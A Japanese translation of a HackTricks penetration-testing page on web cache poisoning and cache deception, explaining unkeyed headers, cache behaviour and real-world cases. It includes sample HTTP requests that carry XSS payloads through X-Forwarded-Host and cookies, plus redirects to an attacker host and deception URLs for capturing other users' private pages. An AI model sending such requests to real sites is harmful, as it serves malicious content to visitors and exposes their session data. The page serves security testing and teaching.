# キャッシュ毒入れとキャッシュ欺瞞

<details>

<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

HackTricks をサポートする他の方法:

* **HackTricks で企業を宣伝**したいか、**HackTricks をPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**

</details>

<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

## 違い

> **Webキャッシュ毒入れとWebキャッシュ欺瞞の違いは何ですか？**
>
> * **Webキャッシュ毒入れ**では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
> * **Webキャッシュ欺瞞**では、攻撃者はアプリケーションに別のユーザーに属する機密コンテンツをキャッシュに保存させ、その後、このコンテンツをキャッシュから取得します。

## キャッシュ毒入れ

キャッシュ毒入れは、クライアントサイドのキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込むように強制することを目的としています。影響の程度は、影響を受けるページの人気に依存します。なぜなら、汚染されたキャッシュ期間中にページを訪れるユーザーにのみ、汚染されたレスポンスが提供されるからです。

キャッシュ毒入れ攻撃の実行には、いくつかのステップが必要です:

1. **キーのない入力の特定**: これらは、リクエストがキャッシュされるために必要ではないが、サーバーから返されるレスポンスを変更できるパラメータです。これらの入力を特定することは重要です。なぜなら、これらはキャッシュを操作するために悪用される可能性があるからです。
2. **キーのない入力の悪用**: キーのない入力を特定した後、次のステップは、これらのパラメータをどのように悪用してサーバーのレスポンスを攻撃者に利益をもたらすように変更するかを理解することです。
3. **毒入れされたレスポンスがキャッシュされていることを確認する**: 最後のステップは、操作されたレスポンスがキャッシュに保存されるようにすることです。これにより、キャッシュが毒入れされている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。

### 発見: HTTPヘッダーをチェック

通常、レスポンスが**キャッシュに保存されている**場合、それを示す**ヘッダーがあります**。どのヘッダーに注意を払うべきかを確認するには、この投稿を参照してください: [**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。

### 発見: キャッシュエラーコードをチェック

レスポンスがキャッシュされていると思われる場合、**不正なヘッダーを送信**してみることができます。これには**ステータスコード400**が返されるはずです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**である場合、脆弱性があることがわかります（DoSを実行することもできます）。

詳細なオプションは次で見つけることができます:

{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}

ただし、**この種のステータスコードがキャッシュされていない場合がある**ため、このテストは信頼できないかもしれません。

### 発見: キーのない入力を特定および評価

[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、ページのレスポンスを変更する可能性のある**パラメータやヘッダーをブルートフォース**することができます。たとえば、ページがクライアントにそこからスクリプトを読み込むように指示するヘッダー `X-Forwarded-For` を使用しているかもしれません。
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 有害な応答をバックエンドサーバーから引き出す

特定されたパラメータ/ヘッダーを確認し、それがどのように**サニタイズ**されているか、どこで**反映**されているか、またはヘッダーからの応答にどのように影響を与えているかを確認します。それを悪用できますか（XSSを実行したり、自分が制御するJSコードをロードしたりしますか？DoSを実行しますか？...）

### キャッシュされた応答を取得する

悪用できる**ページ**を特定し、どの**パラメータ**/**ヘッダー**を使用し、どのように**悪用**するかを特定したら、ページをキャッシュする必要があります。キャッシュされるリソースによっては、これには時間がかかる場合があり、数秒間試行する必要があるかもしれません。\
応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は値が**`miss`**になり、キャッシュされている場合は値が**`hit`**になります。\
ヘッダー**`Cache-Control`**も興味深い情報です。リソースがキャッシュされているかどうか、次にリソースが再度キャッシュされる予定の時間を知ることができます：`Cache-Control: public, max-age=1800`\
もう1つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、ユーザーがターゲットにしている被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用しているユーザーのキャッシュを毒することができます。\
キャッシュに関連するもう1つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに格納されている時間を秒単位で定義します。

リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期せぬ方法**で**キー**として使用される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して機能しているかどうかを確認してください。

## 悪用の例

### 最も簡単な例

`X-Forwarded-For`のようなヘッダーが、応答でサニタイズされずに反映されています。\
基本的なXSSペイロードを送信し、ページにアクセスするすべてのユーザーがXSSを受けるようにキャッシュを毒すことができます：
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_注意：これは`/en`ではなく`/en?region=uk`へのリクエストを毒化させます_

### DoSへのキャッシュ毒化

{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}

### クッキー処理の脆弱性を悪用するためのWebキャッシュ毒化の使用

クッキーはページのレスポンスにも反映される可能性があります。たとえば、XSSを引き起こすために悪用できる場合、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができます。
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意：脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリーニングします。

### パス遍歴を使用したキャッシュ毒化によるAPIキーの盗難 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) によると、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能でした。なぜなら、`/share/*` に一致するものはCloudflareがURLを正規化せずにキャッシュするため、Webサーバーにリクエストが到達したときに行われたからです。

### 複数のヘッダーを使用してWebキャッシュ毒化の脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

**時には**、**複数の未キー入力を悪用**してキャッシュを悪用する必要があります。たとえば、`X-Forwarded-Host` を自分が制御するドメインに設定し、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけることができます。**サーバー**がすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー `X-Forwarded-Scheme` を使用している場合、リダイレクト先を制御できます。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 限られた `Vary` ヘッダーを利用した攻撃

もし、**`X-Host`** ヘッダーが**ドメイン名を表すために使用されている**が、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を外部に送信し、そのユーザーエージェントを使用してキャッシュを改ざんする方法を見つける必要があります。
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get

GETリクエストを送信し、リクエストをURLとボディの両方に含めます。ウェブサーバーがボディからのパラメータを使用する場合でも、キャッシュサーバーがURLからのパラメータをキャッシュすると、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。GitHubウェブサイトでJames Kettleが見つけた脆弱性のように。
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim
```
### パラメータクローキング

たとえば、**`&`** の代わりに **`;`** 文字を使用して、ruby サーバーで **パラメータ** を分離することが可能です。これは、キー付きのパラメータ値をキーのないものの内部に配置し、それらを悪用するために使用できます。

Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

### HTTP リクエストスマグリングを悪用して HTTP キャッシュポイズニングを行う

[HTTP リクエストスマグリングを悪用してキャッシュポイズニング攻撃を実行する方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)についてこちらで学びます。

### Web キャッシュポイズニングの自動テスト

[Web キャッシュ脆弱性スキャナー](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Web キャッシュポイズニングの自動テストを実行できます。多くの異なる技術をサポートし、高度にカスタマイズ可能です。

使用例: `wcvs -u example.com`



<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}



## 脆弱な例

### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

ATS は URL 内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、クエリのみを使用して生成しました（フラグメントを無視）。そのため、リクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれていました。

### GitHub CP-DoS

content-type ヘッダーに誤った値を送信すると、405 キャッシュ応答がトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。

### GitLab + GCP CP-DoS

GitLab は静的コンテンツを保存するために GCP バケットを使用していました。**GCP バケット** は **`x-http-method-override`** ヘッダーをサポートしていました。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空の応答本体を返すことが可能でした。また、メソッド `PURGE` もサポートしていました。

### Rack Middleware (Ruby on Rails)

Ruby on Rails アプリケーションでは、Rack ミドルウェアがよく利用されます。Rack コードの目的は、**`x-forwarded-scheme`** ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー `x-forwarded-scheme: http` が送信されると、同じ場所への 301 リダイレクトが発生し、そのリソースへのサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションは `X-forwarded-host` ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトするかもしれません。この動作は、攻撃者のサーバーから JavaScript ファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。

### 403 およびストレージバケット

Cloudflare は以前、403 応答をキャッシュしていました。不正な Authorization ヘッダーで S3 または Azure Storage Blobs にアクセスしようとすると、403 応答がキャッシュされました。Cloudflare は 403 応答のキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。

### キー付きパラメータの注入

キャッシュには、キャッシュキーに特定の GET パラメータが含まれることがよくあります。たとえば、Fastly の Varnish はリクエストの `size` パラメータをキャッシュしました。ただし、URL エンコードされたパラメータのバージョン（たとえば、`siz%65`）が誤った値で送信された場合、キャッシュキーは正しい `size` パラメータを使用して構築されます。しかし、バックエンドは URL エンコードされたパラメータの値を処理します。2 番目の `size` パラメータを URL エンコードすると、キャッシュには省略されますが、バックエンドには利用されます。このパラメータに値 0 を割り当てると、キャッシュ可能な 400 Bad Request エラーが発生します。

### ユーザーエージェントルール

一部の開発者は、サーバー負荷を管理するために、高トラフィックツール（FFUF や Nuclei など）と一致するユーザーエージェントを持つリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングや DoS などの脆弱性を導入する可能性があります。

### 不正なヘッダーフィールド

[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) はヘッダー名に許容される文字を指定しています。指定された **tchar** 範囲外の文字を含むヘッダーは理想的には 400 Bad Request 応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamai などが、`cache-control` ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、キャッシュ可能な 400 Bad Request エラーをキャッシュするパターンが特定されました。`\` のような無効な文字を含むヘッダーを送信すると、キャッシュ可能な 400 Bad Request エラーが発生します。

### 新しいヘッダーの検出

[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

## キャッシュデセプション

キャッシュデセプションの目標は、クライアントが **キャッシュに保存されるリソースを、それらの機密情報を持つまま** 読み込むようにすることです。

まず、`.css`、`.js`、`.png` などの **拡張子** は通常、**キャッシュに保存** されるように **構成** されています。したがって、`www.example.com/profile.php/nonexistent.js` にアクセスすると、`.js` **拡張子** が見えるため、キャッシュはおそらく応答を保存します。しかし、**アプリケーション** が _www.example.com/profile.php_ に保存されている **機密** ユーザー内容を再生している場合、他のユーザーからその内容を **盗む** ことができます。

他にテストすること:

* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
* _`.avif` などのあまり知られていない拡張子を使用_

別の非常に明確な例は、この解説で見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページを読み込むと、_http://www.example.com/home.php_ の内容（**ユーザーの機密情報を含む**）が返され、キャッシュサーバーが結果を保存します。\
その後、**攻撃者** は自分のブラウザで _http://www.example.com/home.php/non-existent.css_ にアクセスし、以前にアクセスしたユーザーの **機密情報** を観察することができます。

**キャッシュプロキシ** は、ファイルを **拡張子** に基づいてキャッシュするように **構成** されている必要があることに注意してください（_.css_）。例では、_http://www.example.com/home.php/non-existent.css_ は `text/html` コンテンツタイプではなく、`text/css` MIME タイプ（_.css_ ファイルの期待されるタイプ）になります。[HTTP リクエストスマグリングを悪用してキャッシュデセプション攻撃を実行する方法](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)についてこちらで学びます。
## 自動ツール

* [**toxicache**](https://github.com/xhzeem/toxicache): Golangスキャナーは、URLのリスト内でWebキャッシュ毒性の脆弱性を見つけ、複数のインジェクション技術をテストします。

## 参考文献

* [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
* [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
* [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
* [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
* [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
* [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)

<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}

<details>

<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>!</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。

</details>